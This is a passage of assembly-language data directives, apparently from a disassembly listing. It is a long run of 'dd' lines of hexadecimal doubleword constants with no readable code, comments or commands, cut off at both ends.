0D3831613h, 314ED101h, 5F80429h dd 0E9341920h, 798C2F33h, 0C6B30009h, 5B14D8A7h, 7E0E523Dh dd 0CA5AF924h, 0A5912E96h, 7FC0C748h, 0F0BD4FEFh, 0EE678400h dd 0B0889AF3h, 0CC9C09DEh, 0FFC67DD7h, 124B797h, 0CA802017h dd 0D88870B3h, 62D87C4Ch, 79377B0Ch, 5399A00Eh, 0DA0DB905h dd 382E7442h, 0D23E8081h, 0B56978EFh, 0B59DBC01h, 0A08F0413h dd 7E0BC6C4h, 0B90BC610h, 11249C52h, 18EA567Dh, 96214D22h dd 194674F7h, 79664601h, 2F822777h, 8D2B5D30h, 651A4101h dd 0C577AD89h, 11F22C21h, 0E0512705h, 0C9C75F9Ch, 823224D6h dd 2F10BE76h, 435DE912h, 59953126h, 63705F7Bh, 913B1DB7h dd 0EE3F8018h, 9536A33Bh, 9507711Ah, 10609AD9h, 4C2E2201h dd 36C0CCE9h, 0B8F90E64h, 15A4DF6h, 1623873Bh, 0A665D700h dd 50F1ADE9h, 0A88699FFh, 99258534h, 1EC01385h, 0FF6B6D09h dd 0BF687BCh, 4B51618h, 47C66181h, 7DDE252h, 7DD083Fh dd 800F3F5Ch, 0A6A970DEh, 0CB0048E3h, 40FEF81Ch, 4C77078h dd 0C680FB67h, 35B226h, 0E697DECDh, 223362Eh, 0CC3B114Dh dd 0B9F05F24h, 8B97E558h dd 2459C0h, 0D1C6E24h, 16000E6Bh, 0DA41B950h, 2CBE45h dd 729D8C1Bh, 23FE911h, 103A2BE1h, 0BD161423h, 0FF91EA0Ch dd 0FFE10481h, 0C30232EDh, 0D4A5243Dh, 1C40F014h, 0E68B90BFh dd 6A7E04A2h, 0F88B5752h, 615F810Fh, 8B235EE9h, 6D45D93Fh dd 0D17C0013h, 7DA828AFh, 0C1F1004Ah, 0EEBEF7F3h, 0CB193244h dd 2C80181Eh, 6E704FC3h, 0A1C90FA5h, 95744027h, 5E0B6797h dd 8BCA1F40h, 14824D0Eh, 61052AA5h, 33A07025h, 8634646Ah dd 0B1EB959Dh, 9412065Dh, 0D52FC498h, 7582432h, 162D2C1h dd 0F6DB8C10h, 0CA04C324h, 0CC4BFC11h, 68045679h, 9CA8B852h dd 45C6A78h, 0EE102037h, 7281DF64h, 0A6FE8FB8h, 23AC9B70h dd 4CCEC18h, 1EF0528Bh, 61684F03h, 0BDDD2F26h, 970CB5A4h dd 18537D8Bh, 1856286Ah, 7553C085h, 68410175h, 0DB876498h dd 0A8CE7C6Fh, 4C0E68AEh, 4AE7A468h, 0C2D22080h, 0F388133Ah dd 8AA0AC5Bh, 8554AB94h, 3C71561h, 858C5D3Ah, 0E020C43h dd 182B8507h, 283E54Eh, 292E4743h, 11288BB5h, 45006785h dd 0A5F79768h, 205D8092h, 2673387h, 14280C56h, 0DB603275h dd 4EA146B4h, 0D60C65A4h, 1963449h, 3AF18160h, 29E0E7D5h dd 15989FBDh, 40CE36BBh, 14D1E489h, 0BD015001h, 64A0505Dh dd 53A035FFh, 89F2F58Ah, 6B092551h, 0BD2BC130h, 290C4099h dd 45C98534h, 0B19E781h, 51B80C15h, 13F5333h, 0BB0DDBB5h dd 257A2A5Fh, 3CC1082Fh, 0A84B809Fh, 11165108h, 0E9F80B2Fh dd 0CD8E29E5h, 0D902C08Ah, 0BA0B7E70h, 2760A78h, 303D72h dd 0AAB6DB33h, 0BF3CC0E8h, 702A80A8h, 0D154E7B9h, 0F40016Ch dd 640B073Fh, 703C728Fh, 22C48326h, 0A4068D08h, 1F710B5Eh dd 1DD9C771h, 48007418h, 3A10D22h, 1833605Ah, 0B0CE8A39h dd 83800649h, 52EFB0FBh, 6E5AD284h, 826E0055h, 0E971285Eh dd 91B3942Ch, 9D310F93h, 82537619h, 0C70C5701h, 2199A481h dd 0E98303FFh, 41594B8h, 8BC30CA2h, 7055305Ch, 0F8758AE8h dd 8B47A881h, 821BA283h, 2837E653h, 4F5D9A0Ch, 0AFF3755h dd 0DEC2DE9Eh, 7782F100h, 48896B86h, 0CB262E21h, 8509C1EEh dd 22232FB5h, 0FD514D3h, 1D8E128Fh, 0D4B10B70h, 7088D350h dd 3400538Ah, 6630C2DBh, 60E935B3h, 0D51A230Ch, 0C5003246h dd 2708D48h, 93F4D072h, 42E6A9E8h, 60240E86h, 14E15881h dd 0CC046907h, 0B961040Bh, 0B80701F9h, 0C055D704h, 0F7816405h dd 65BB0D00h, 0BA8685D4h, 34B62740h, 5FE83C40h, 0E0ED0CCEh dd 4D5868FBh, 0BA22BF56h, 9C320D8Dh, 0A3B7BFA7h, 0E92E9238h dd 0A2A44AF3h, 301CF25Ch, 0FE01E3DCh, 9DBC3119h, 167EB762h dd 0A9A71252h, 0D844F1Eh, 0B8B09304h, 3DE19DA3h, 0E1210804h dd 0E8859308h, 0AD347020h, 80109F8Ch, 7E0739C6h, 6EC042C1h dd 0CA40A000h, 0EB9F0394h, 0EC75106h, 7CFCCC02h, 4D5A70CDh dd 92E0EFA9h, 0C5CA93B9h, 36C6900Ch, 20E9F48Bh, 0BBD2013Ah dd 382E3B03h, 10A8F35h, 784500DCh, 74706563h, 6E1C6F69h dd 66DD4920h, 616D7285h, 6CCC0C18h, 0E673F265h, 8206F2Ch dd 74A7648Eh, 3639DF68h, 7799C76Ch, 0F967F969h, 0FD64E963h dd 0F928BE73h, 406196FBh, 0FBE3C7B5h, 6D2A3A2Eh, 6854200Ch dd 79EC6B16h, 0AFE75F6h, 0F4040D6Fh, 7028C601h, 62736046h dd 4C525443h, 0B3FF2B75h, 66699ED1h, 0A064971Eh, 70A18FD8h dd 6C08A879h, 0FE62F269h, 64721461h, 42403629h, 52657D56h dd 7F7F9973h, 0CA25793Dh, 287431Eh, 4E496B63h, 70640FA4h dd 8E54554Fh, 6F72501Fh, 0F851DE8h, 0F643BB4h, 7469E606h dd 210F873Dh, 502A6F1Eh, 7418348Eh, 10C8AC1Eh, 90DD2DC5h dd 16EB4801h, 3BE2AB4Bh, 32AAB511h, 0E1802568h, 27B05BC1h dd 4B38EC24h, 45F619A1h, 94FC8907h, 5824C916h, 29656BEEh dd 217D54EEh, 38FA4425h, 486F8DDBh, 0AB285839h, 380E448Dh dd 0A648D46h, 678D2F38h, 375978FEh, 4A02CA1Ah, 910A3E51h dd 2EE1840Ch, 88A2E905h, 9124BD73h, 95653A09h, 19490D44h dd 11118521h, 0D02B958Bh, 0F8C281ECh, 90BD4CB2h, 0BC958D3Fh dd 345243C1h, 0C3402805h, 0F3813BD4h, 0D4292A31h, 550CED76h dd 0A89D8B88h, 0BE4CC313h, 0A3652944h, 88501011h, 95479FAh dd 210E39F9h, 0F20A1058h, 0F012125Ch, 0DFADC94h, 6811AFADh dd 5A49CD41h, 0DA020C90h, 0A060558h, 6EA0C5Fh, 912FA55h dd 0F00A4288h, 28421C4Ch, 16010E61h, 552C7A48h, 406A3224h dd 19961224h, 1FEF649Ch, 8BF998A5h, 0E848C1h, 9821B80h dd 2E03B427h, 213D3854h, 0C583D881h, 605112FFh, 9F86B4E8h dd 31DF0B00h, 4370348Ah, 615B0BF0h, 0EC045E59h, 4A0520Eh dd 753600A8h, 5E2743F5h, 4A3960BBh, 586183E6h, 0FBC6815Fh dd 0F0304B5Dh, 6904FEC9h, 8A0F4F62h, 2EB8D5E5h, 16D22B99h dd 8864170Ch, 0EF80D1FCh, 244728F7h, 161C8B1Fh, 80C7B7CFh dd 3C0B0F3h, 0F0F8F85Ah, 541D00C3h, 0B8662C49h, 14C051BEh dd 636A8DFDh, 0C9535CF5h, 48FC700h, 81EB8A16h, 724AC107h dd 0EA602671h, 2E110919h, 6D35120h, 0CAF803E1h, 1B15C233h dd 0FA7A0B8Ah, 0A362A35Ch, 0A3D07742h, 940E94Ah, 0BF0D4845h dd 0BD77005Fh, 0EAB590E8h, 34DC9CE9h, 0F2F51A87h, 0C5C0BFC0h dd 0AC49005Eh, 0F66128DFh, 56292A4Fh, 367004DDh, 10586026h dd 73BAC18Ah, 0DE7ECE1Bh, 770C721h, 0F949BDFh, 5320F72Ch dd 0C47F84h, 68AEBE55h, 3D48CF5Eh, 288B3210h, 3FD40457h dd 8150DE29h, 7F69AEBDh, 21BBD6h, 0A9936802h, 317CAB51h dd 0C7183FDEh, 37398C5Bh, 18AB41D0h, 185FDE1Ch, 6C610298h dd 0C7DC2539h, 6FED5180h, 27FF4512h, 0BFF61A00h, 6AFC9B0Ch dd 59CF0717h, 16DA0FE7h, 0AD1591F7h, 7898719Ch, 7E63C100h dd 0D1E49EC0h, 38403FD2h, 216CAF18h, 0A712B6F1h, 0F3BC5A35h dd 86190533h, 5ECEC2A0h, 0C7E1DC00h, 9A51A6A8h, 9BDE3E45h dd 0CCB65400h, 0D4B1B26Ah, 0EABA961Dh, 0DA8EA343h, 0E00800B0h dd 26C28CA4h, 40052973h, 5FAE581Dh, 2B114C70h, 48B50A56h dd 49E0BA2Fh, 0C800588h, 29489FB1h, 0F009CF32h, 45960424h dd 0AC404D18h, 88A7AFD4h, 0DC2C0097h, 451155F6h, 48C24162h dd 43AC17DDh, 0E02042A4h, 73A2C107h, 86764722h, 0D63A18DAh dd 21ED3352h, 7FD2C0F6h, 2471CEE8h, 1EB09FE5h, 48571888h dd 52E8F192h, 0C719CE06h, 0C7035F3h, 0DE94AAAEh, 1E9A7F8h dd 0F1C07F11h, 4E0E03ECh, 63C6577Bh, 0A0FBC100h, 0F90CE01Eh dd 142F1C19h, 406C7A41h, 80022A69h, 0DBDA16E8h, 0E91048C3h dd 3B10CA1Dh, 10A898h, 0A032C199h, 7CE6D0A1h, 0DF7F6A11h dd 0F5CF070Eh, 3CD2EC82h, 0F08A7448h, 0AF89BCA8h, 16F9A107h dd 46062491h, 227879h, 5F091827h, 0A4F0770Ch, 31B08060h dd 9041E01Ch, 7EAF29D2h, 0A92103ACh, 0B0A7F193h, 85153771h dd 0DF26BC05h, 0C040D836h, 7521A846h, 29071D69h, 0ED0883F5h dd 21242BD3h, 0AF881CE0h, 0F088A27Dh, 21F78875h, 0EA6B100h dd 0DA255306h, 49D4A687h, 2841A88Ch, 306D6058h, 0A72180D2h dd 8A0340DBh, 0A6A5CE1h, 0A3190581h, 4173C7AEh, 7BAFDAD0h dd 0C12020FFh, 2F879E00h, 5190D04Dh, 0AD6305DFh, 60E481F7h dd 0DBA38B14h, 0D2304450h, 0FE7CB542h, 30E27C7Dh, 9D69D7C6h dd 0BE000AA1h, 685EB8D4h, 32E26C5h, 3FEC1510h, 290057C7h dd 0E4A62C4Fh, 49C631Eh dd 0D8DA4099h, 0BF0C91CFh, 0B6831A5h, 2C7FC228h, 0B4011DBEh dd 39A9999Eh, 26952C40h, 0C0F1547Fh, 1845B009h, 61556145h dd 0AA005253h, 17127DF1h, 91E35721h, 0C07B101Ch, 0B8F493A4h dd 5623280Dh, 95382198h, 317A5308h, 896D018h, 21734207h dd 7F0B88E8h, 74B1BD00h, 18D41E81h, 0A9E57E6Ah, 0D02E31B5h dd 0B11F071Fh, 0EA19EC18h, 3E6F291h, 0ADC82407h, 5C018ED4h dd 0F094BF98h, 0B6C10A61h, 4EB0434h, 0F777CCE7h, 0C030D48Ah dd 69899AB1h, 44730F0Dh, 144058E1h, 809EC2EEh, 0E00A257h dd 31552C95h, 18D992A4h, 20C6AE1Bh, 4D4CBE4Fh, 207229E8h dd 300BB1C2h, 0A015DEE0h, 0A85902h, 8A0CBDB6h, 19735ADFh dd 8A2D72Eh, 9D21804Ch, 2FF0CB5h, 0DF36242Dh, 6E00BD2Ch dd 0CB6168A9h, 0FB03D882h, 0FA6A7370h, 87508FE1h, 2675Eh dd 324A0CA8h, 8EDBB5Ah, 1EC16500h, 67FABB1h, 13AE0A4Bh dd 13C054F7h, 0A26404DDh, 0B85410DEh, 0DE43B0h, 3366040Ah dd 2C745AD1h, 80741836h, 0A61B3B70h, 3D02C222h, 0C68D2AB5h dd 6F3C4853h, 0BD190095h, 0E2BAB6D6h, 8CCEECEh, 90216Bh dd 8E4F199Dh, 0CCFE7148h, 0CAA7200h, 1CFC38D4h, 1304743Bh dd 4C2F17D5h, 80795F9Ch, 372AB3F0h, 0CA269C2Eh, 0A3007CF4h dd 0AB5382EAh, 0D308CC9Ah, 8C39EC21h, 0F348021h, 0C17CF0A2h dd 357B28CEh, 29C4688h, 0DF960CB9h, 814A31BAh, 0CB19921h dd 2260C398h, 303C98EEh, 9C69D937h, 0B5752232h, 75FDBA00h dd 4085C85Dh, 0DAFE0109h, 0B8358E99h, 0E840719Ch, 0E0F3CFE1h dd 0BA3A7FDCh, 0E26C52AEh, 6E6032D2h, 0DC121A15h, 5840D825h dd 0CB415D56h, 81DD26FAh, 8332475Ch, 10437267h, 30D6E2A4h dd 0B50E5E95h, 25B36B78h, 82912Ah, 87AF24E4h, 0A65AA0F8h dd 440F1AA1h, 0C040F206h, 4756014Eh, 7E99284Fh, 0A4FD0054h dd 0AB67F169h, 5E335ACEh, 7F50893h, 699CA021h, 4CC38009h dd 0B4A2488Ch, 69A92010h, 0C367F411h, 0A383FA88h, 0F1DA69A1h dd 24C4F8F1h, 72EF00BFh, 0FA38FCC2h, 88AC526Dh, 0F002AF46h dd 8AA3A521h, 0E810D731h, 0C5002188h, 67E0BC7Ch, 8CB0C95h dd 6445EAF3h, 6ECCDD81h, 0F832C55Ah, 43E51400h, 9B461BD2h dd 17054401h, 6A54B8DCh, 416DDC30h, 86A8422Bh, 10199230h dd 0E0EED6B6h, 199A8Fh, 0B0A1881h, 8212BFC7h, 1A29D4E6h dd 0F6D19CF7h, 6103F418h, 48741CE9h, 1BC3A0D4h, 84854CC0h dd 608BA064h, 23BB1997h, 611186D6h, 199F9200h, 0FC3E3170h dd 0EE0D5F01h, 2A4E154Fh, 30897842h, 0B9111991h, 6A8896D6h dd 19998C80h, 8A6F20h, 0C45A0F2Fh, 2559C709h, 0EC74C550h dd 5566081Eh, 8814B45Eh, 19908030h, 8C9ED6B8h, 2C8D6444h dd 34E1998h, 90951E9Ch, 0C1EC4CA1h, 2069F966h, 684C4658h dd 2508545Ch, 4E9E2C03h, 0E3671E34h, 0A9190C7Ah, 0DF9116D9h dd 26F4A85Ch, 0DE9821h, 88CB8BACh, 0E3289A58h, 0AA264475h dd 4589505Eh, 0AFCC486Ah, 68F70B8Bh, 100A371Eh, 60467428h dd 0B6DED90Fh, 1BD44443h, 0CB3622BFh, 5FBF94C8h, 882C0AFAh dd 0EA83C8A2h, 0D999FF7h, 5A250770h, 0FF086098h, 0EA6A00E9h dd 0A8260059h, 0B9093551h, 1316A9A7h, 584E7BBFh, 0B18645C3h dd 46FE203Ch, 45320323h, 94A6161Ch, 30987482h, 0F01169A5h dd 0F888A367h, 699D9F80h, 81116Fh, 827A33D4h, 516545C0h dd 18CE84A8h, 82EDDF3Dh, 3420C1B6h, 8C987323h, 0BD11597Fh dd 57259D02h, 0E03473A9h, 0BCF0D58h, 0D39663C1h, 6AF20A0h dd 2C7C9452h, 0A2D4E612h, 1E87CC8h, 0DA80A1B1h, 0FB42A7D5h dd 32BC2840h, 0B8202F45h, 40BD89EDh, 0AE7355ECh, 8620FA6Eh dd 991A03h, 36BD67FCh, 8C5F2C17h, 4D50DF02h, 60E20398h dd 1E6DB6Ch, 685CE192h, 709B2702h, 4006BE0h, 0E8A3B1EEh dd 0A27FD4E0h, 0F7280044h, 0DD22D269h, 73C38331h, 80132D6Eh dd 8935FD6h, 0DA22E1DFh, 0AC481882h, 1C00ED0Bh, 80CDBA63h dd 0E00829Ch, 5536FEA6h, 0A4C66E13h, 96EE3794h, 0D62EC330h dd 848EF7C1h, 0E663C310h, 1888FCA1h, 7F1DFB57h, 0D4008CA9h dd 4C82BABEh, 69920FBCh, 23DCECBh, 0D618A821h, 0D4433C68h dd 0EC5CE424h, 0D7D96007h, 0F411B0CAh, 26C59801h, 32626C45h dd 48CF70E8h, 0A8C1838Dh, 89179863h, 0D2A00147h, 188B6B82h dd 0D0FC21E6h, 25139686h, 14812DDBh, 88035C7h, 53F504DDh dd 1134FE7h, 0D0CFDEB6h, 0C6C304D0h, 100C2FD7h, 185BB636h dd 0A54D2882h, 0D57F00DCh, 46553780h, 9CA0E319h, 0AC030436h dd 0C3834FDBh, 0C12921A8h, 91E15B08h, 64351C10h, 6200051Ch dd 6702077Eh, 1FF47003h, 41FF066Ah, 5FD30A6Eh, 89F8E0A3h dd 0FE0F6F7Ch, 2B08618Fh, 0F000584h, 0E3364D80h, 0D71C0072h dd 6DFC9C5Dh, 0FD00AB8Ch, 99BE5FF9h, 3F328D6Ch, 376E4D2h dd 0BDD7B905h, 1103E1E9h, 62F2198Fh, 57E0C8A9h, 70661F4Ch dd 6B530045h, 3B619681h, 88A90A15h, 0AD2C0094h, 3E78598Bh dd 648C0043h, 982429C1h, 0EA0CBC23h, 102801AFh, 69F500B1h dd 0AD1C7964h, 0B2003C66h, 0A5276CF3h, 0F975E9h, 0C352BA7Dh dd 0A442F497h, 56869F00h, 6B46D091h, 0D29405C9h, 474933AAh dd 0CC74CBD0h, 0F4C56851h, 9C1EE2B6h, 0AB1696C1h, 80508DD9h dd 388A267Ah, 860188E6h, 0F3BB99D5h, 85F880C7h, 0B8E133A9h dd 9A7B45h, 84D839A6h, 0EF811DAEh, 16A1FF0Eh, 6EE9E0ADh dd 3F6B821h, 0B744A98Dh, 0D2A0F859h, 5C018E56h, 0C908223Eh dd 0A8407F81h, 0CF39EFh, 155AA3A2h, 0CA424BD7h, 802D1C00h dd 0CBAEE212h, 24B60320h, 885DC118h, 438CD097h, 0BB0CD4B5h dd 21F47F9Ah, 8D493F05h, 0EC850180h, 5ABEDAABh, 0B0A6AF03h dd 0A01A11FEh, 3FDE6BD5h, 0EB81A0BAh, 69BF5A7Eh, 3016EC4Eh dd 0B8EA4C00h, 0ECBD3B24h, 0B9AC0091h, 2D157E08h, 3E0663CAh dd 284EF772h, 0A3F8F711h, 6EEC0061h, 35D45CBEh, 0F500C4CBh dd 0CD85338Ch, 92FE9FFh, 89322C3Fh, 0F1B39C21h, 8FFF40C7h dd 0E4A047D4h, 86002696h, 0C9B84485h, 7DE3A34Dh, 7B8900ECh dd 41ED8025h, 46F8B3F5h, 0A16AD000h, 5619613Fh, 0FFD4BD2h dd 8CA08024h, 8AEE9F51h, 0D3995300h, 0D69C508Fh, 964B2D92h dd 2FCBA403h, 0FB6564C0h, 1B006AF8h, 137294FDh, 17B9CF5h dd 8742EE0Ah, 20D998FEh, 31046894h, 0E058EA18h, 64092C80h dd 1B272A2h, 4591C1C0h, 0C8E7578Eh, 0AE005F92h, 9A111044h dd 90FD50FEh, 0DEE22420h, 86269444h, 18840071h, 0FBCBEE9h dd 105803E7h, 0CBA07FCh, 34008E4Fh, 0AD6155h, 25FDC56Ch dd 4589ED98h, 8DB928C1h, 0EAF46DB0h, 0BEDE007Bh, 0C235F382h dd 477CA3E7h, 8303041Ch, 4AEF57C0h, 15F3ADEh, 583642E5h dd 0F010397Dh, 64036E9Eh, 3456343h, 2AA09FD4h, 79375Ch dd 827FDB75h, 41F0A213h, 0B75B1603h, 9DCFA128h, 4BFCE400h dd 0C05398Bh, 0B3B8D4Eh, 8063EB8h, 0F3FF142h, 96CD0009h dd 0B703DE0Dh, 500E471h, 9E877A9h, 0EB1B5Dh, 3459520Eh dd 0EF51495Ch, 0A85BA100h, 0B383CDCEh, 0E961019Dh, 0F0228A6Dh dd 3954D05Ah, 49955600h, 2711D5Eh, 9C3B2850h, 6DD0E8Ch dd 1BC009CEh, 727639DCh, 478B401h, 0AD842DCBh, 0F675A440h dd 0A4BA6227h, 4040C6B0h, 6600FA34h, 8BE82878h, 31E8A33h dd 0CEF609C7h, 52C054D2h, 0B30040E1h, 5A75C18Fh, 43DCADh dd 0A88E1A91h, 5B9B57FCh dd 0E46CF900h, 8CB53464h, 2624007Bh, 52D34D9Ah, 3D035811h dd 79D0B03h, 0EFCCD861h, 1B8501E1h, 2B401277h, 0EDC883D2h dd 0BE3CC976h, 5B150111h, 506B33B0h, 2B08F81h, 0C26C60CAh dd 3901D218h, 271D4540h, 5737E43h, 0CD49D11Eh, 23C9C00Ch dd 540022BFh, 9C5E182Bh, 196627h, 85F2EA9h, 0D30D1140h dd 0AD0E3612h, 6F5A0807h, 80856D43h, 0E379C8h, 3AC0170h dd 0AAD205Fh, 7C08661Eh, 1EC4A133h, 703C4068h, 0A707B5A1h dd 0B4152100h, 0B918263Bh, 3AF20F7Fh, 46F5313h, 161070E0h dd 0A800FC7Dh, 9DC98839h, 12135DFEh, 3B8A685h, 295FD0F7h dd 0C196E0A8h, 70ECAD37h, 9E0C00FFh, 26E4BF8h, 0B1D599CCh dd 0A660E690h, 0F7009B94h, 0A192D220h, 59AB388Bh, 2600D8F3h dd 0CFFED7D1h, 20030EB0h, 0BEC894C2h, 6D5818B6h, 0D16829EAh dd 8D049F72h, 649A22Ch, 48ABE882h, 14EF8FCh, 3D983773h dd 0ECF2169Ch, 85009E67h, 53E3D9D3h, 9A7680h, 27A6EC66h dd 81218C48h, 1197FC00h, 0E6238510h, 0B93D006Ah, 4971B01Fh dd 27F86070h, 8C66B100h, 8A4445CFh, 0F4720014h, 0E1632A2Eh dd 0A1CA1F60h, 3200DED1h, 345D2CD9h, 523339DBh, 0C008DA28h dd 58601D09h, 107C4F13h, 0A55190Fh, 0E596357h, 215C804Bh dd 30341C69h, 0B347C32Bh, 0B988BF9Fh, 83002036h, 800991DFh dd 2CD48DFCh, 8188BA88h, 0C30F7E2Eh, 60C464E4h, 0BAAAA638h dd 0BC3680C9h, 0A9CE8FE9h, 0C62326FEh, 94E03DD5h, 47F951EEh dd 0AB99D81Ch, 9A25B407h, 0F279A030h, 9828019Fh, 77D64B36h dd 2B168022h, 1A740273h, 0D874FD83h, 5CBD00EBh, 5EBBEEC3h dd 4000ECCDh, 0BFD3D461h, 7D0D162h, 96D56643h, 64F08178h dd 0E8F6F1A4h, 0EE0060A6h, 0E1689E6Eh, 8EB355h, 49BB87D7h dd 432D8CD8h, 0B8DC411Fh, 5441CAD7h, 3DFF63DEh, 5A00503Dh dd 81CEF5F9h, 0BC4C82B5h, 0B0387846h, 0CFFD93BEh, 0C2805C00h dd 0F24490h, 84B787ADh, 0F34797C6h, 0B985B600h, 4894C086h dd 82C30CF6h, 0DFD889EBh, 9C73921Dh, 6CCDC404h, 0D7F0C4B1h dd 87989ECCh, 15BAFED0h, 46E480D6h, 18DEF75Eh, 0B401C61Fh dd 0EB20BB7h, 7D794DCh, 4C2FC2Ch, 58059083h, 9B0020D4h dd 61221E2Eh, 7311DFBBh, 0A8D00093h, 738AC19Eh, 0E2001AA9h dd 0E69BA59Dh, 4FBAFF48h, 0DCA800BBh, 61F0CE82h, 7F2F1300h dd 55377E65h, 0BE070014h, 2951A981h, 1704691Bh, 4DC65606h dd 361240A8h, 7990913Ch, 7E4511AAh, 17E43811h, 0D444A7D4h dd 14B14AACh, 90E57808h, 0AE3A84E0h, 42849D48h, 0DD80CEBFh dd 5A4CCBDh, 0A3CDBC4Bh, 908184Ah, 0C87CF08Dh, 0C03F3Eh dd 0C6B9C5A9h, 3DBDC9ADh, 47290FAh, 9B9F4498h, 2F908035h dd 0E1050D2Ch, 0DD39DE20h, 4CC710C0h, 55872C2Dh, 0F76A0060h dd 8BACB833h, 217B5600h, 804DEA8Eh, 100CBA66h, 11FCEEDCh dd 0C812404Ch, 91384121h, 0A84449D5h, 0F013319h, 0EE66C75Bh dd 0F8F5F270h, 7143CEDCh, 0F3B805C3h, 0C155AD1Dh, 201825F6h dd 0BE60C4FAh, 96132D18h, 591E0346h, 0A70F747Bh, 0FC27D198h dd 102F5F00h, 5A1FA577h, 0C44D0EE2h, 6C80DE3Bh, 1A4E5C3h dd 2FAC5701h, 0E4D4AE32h, 0B8A5E8h, 0B4244966h, 15FA7105h dd 0C0F71D75h, 0B5011892h, 886BE704h, 6024EA14h, 60F454h dd 5E02A025h, 6307A227h, 24A1142Ch, 6A0E7C30h, 437F03F3h dd 0FAE1865h, 1AC1EE0h, 0A4266804h, 78D0D039h, 54134396h dd 1CBCFCh, 0FFAB6C8Dh, 47A06DFBh, 7786B0A8h, 3B3F18E6h dd 4809BA06h, 1AE000ECh, 646D806Ch, 0D340DD9h, 0F03011E6h dd 810013BBh, 45F5D363h, 4592069h, 43C5EE68h, 37B4C242h dd 0B61F6740h, 0FBAB4000h, 0A658E450h, 45E0002Fh, 67DF7DAAh dd 494A9EB2h, 0D70F4800h, 39C86A47h, 0F105BFD0h, 406F7175h dd 0D49FCAECh, 29009EE7h, 86185607h, 3C137FEBh, 0F05C7B3h dd 841AC617h, 0B5F000FEh, 5739D26Dh, 21CA7600h, 123B6958h dd 18A426E8h, 0D8261Eh, 75830EBEh, 5D02FF68h, 0A04A2F63h dd 417CE0C6h, 0AA070410h, 8204D508h, 0CCA8269Dh, 540507C8h dd 72271Ah, 510D78B9h, 0AD0C3F01h, 3633C761h, 94A1E7D8h dd 511D8F54h, 55171159h, 0A3048CB4h, 9FA55C01h, 0E53066D5h dd 0A615720h, 0F98BFF80h, 18588390h, 16900954h, 56000B52h dd 5508571Bh, 49235A1Eh, 0E00B18AEh, 7010DAD7h, 355C5031h dd 2D4800EFh, 264342C4h, 64F098Ah, 0C01DED0h, 2460F910h dd 8924B0C0h, 97810C69h, 0E001903Ch, 0C434ADF1h, 0F502038Eh dd 0FB14759Eh, 882368F8h, 0EFA1E450h, 0E0021F4Ah, 498A93h dd 6177C773h, 0E3B4A001h, 19899CFFh, 31BDC20h, 9BABC2A4h dd 7000218Fh, 0A0974078h, 4B669Ch, 80835224h, 0D8E256F9h dd 31A4E300h, 0D04EF08Ch, 0A03C0914h, 0B040F329h, 5B039B4Ch dd 5D9955A8h, 5E9EB0AAh, 9D5806ADh, 95FAE41h, 0DD271D00h dd 0C166D32Eh, 18D50134h, 4CD938C7h, 20E8256Bh, 0BE26336Ch dd 803D5057h, 83CEFEB8h, 78B65D89h, 6DE90284h, 6742ECC3h dd 75CA1640h, 0B0347E00h, 1A5F6C41h, 716124E8h, 148F8098h dd 0FB383EABh, 8A183BF6h, 4FB97744h, 29B2605Ch, 8BC76C9Bh dd 92C94B00h, 7BD296D9h, 9F8D0726h, 0A09A1776h, 6B531278h dd 0FE7EFB00h, 0C410DE2Ch, 3A431304h, 5EE2054Bh, 0A0FC928Dh dd 0EB1E4CE0h, 6BE6DAF6h, 0BCAE4B00h, 28966C3Fh, 1F07E74h dd 0DFB34464h, 0E0613BBBh, 0A93B7DA4h, 37381F3Ch, 0A830A264h dd 7294D898h, 80109C49h, 954897DBh, 63039ADEh, 679EC2E9h dd 6CAA0F23h, 9093F31Dh, 0ED0B7A14h, 2838400h, 0C68F4AE6h dd 40E04890h, 20395001h, 60ACE875h, 6000F19Eh, 0CA4A0781h dd 0A8F3E36Dh, 488C0590h, 910018A4h, 0AF70F962h, 99122D7Ch dd 0E8073EB1h, 0A05F893Fh, 7DF2734Eh, 64E2002Eh, 9B351060h dd 0CC00B45Eh, 7F8362FDh, 53FC28h, 8F4DDAABh, 0E6AABB37h dd 89989314h, 0EB0802EAh, 50DD5FBAh, 0F0D45CB8h, 0F7B8AC01h dd 0F81A35F3h, 724E12Ah, 582C0CCh, 49521761h, 0A9F311D4h dd 4830D313h, 1D357FB7h, 4277D17Dh, 4E75F819h, 25488440h dd 8F14411Ch, 0A21C6B00h, 32DE0Fh, 9F19C450h, 8C9869F6h dd 0D599C300h, 9B48E9AFh, 6F0003Dh, 3F02F495h, 8E70B942h dd 3E384500h, 79E16F73h, 0FC2F07F0h, 405D01A8h, 45402448h dd 3304C3E2h, 752C4313h, 79EC48C0h, 867302BDh, 0CD7EF924h dd 2BAD8080h, 54070E7Dh, 71A00112h, 60CE9AB2h, 94D054h dd 585A46ACh, 72DBBA9Ch, 0A4B5F200h, 0A2B7E945h, 0E1E70047h dd 0AE277653h, 2C76A3E5h, 5729DE00h, 0A8727862h, 49D800BBh dd 6482539Ah, 0E501B6ABh, 0BEEB2FEAh, 1B707DF4h, 680D1FC7h dd 7C300104h, 6064652Eh, 0C5009E07h, 9C7993A6h, 390BB40Ah dd 0D88019BCh, 2A44284Ch, 100020AFh, 422647D9h, 0E22AD24h dd 0DDC0C1Eh, 0EE5CC6C0h, 713D5529h, 5AD28902h, 739C20D4h dd 4A804E5h, 0AA06E376h, 0E7C0E474h, 185E0A13h, 0A0DEC481h dd 7C8C49E0h, 80E89C3Ch, 0F7D6F647h, 0CB00FD79h, 133F6C35h dd 168CD84Ch, 98AB55h, 0A4B09C74h, 0A0FE5AD3h, 231DD190h dd 0F240D194h, 500CED19h, 621A261Dh, 5F250418h, 5CA8022Ah dd 2B32AB3h, 0F05DD08Dh, 0D1817876h, 598FD39Fh, 0E28C7830h dd 4C94BAE5h, 8A0028D8h, 0C5B3DC28h, 4B137AC4h, 8E40B06h dd 2E2B4ACFh, 0CC2897D4h dd 0AAAD80D9h, 0CED48200h, 0AD6AEBAh, 8084BE5Bh, 0DD2F3760h dd 961D73E2h, 9D1DF2DFh, 6DCDC504h, 8677F0A2h, 887F645h dd 62729FAFh, 0F2C0A2E5h, 0EB7AA71Fh, 7645F48h, 0A351D49Ah dd 0A131B707h, 0D4288292h, 2ECEAF00h, 68131BAh, 906C4303h dd 8C1C8C22h, 76EB18C0h, 0BB5E18BDh, 0D6B568D4h, 25D70D12h dd 0C0CC54A4h, 0CE8B64A0h, 637469F2h, 30678D02h, 84E21DA8h dd 9A081070h, 745D7F00h, 905537h, 0A52EC79Dh, 0E05CE19Eh dd 7A6121Eh, 0B4B02592h, 0B4933AEFh, 0A0DC1A07h, 247602F9h dd 43FF7E40h, 0CE718B00h, 1F4FFA62h, 9D230087h, 738464D9h dd 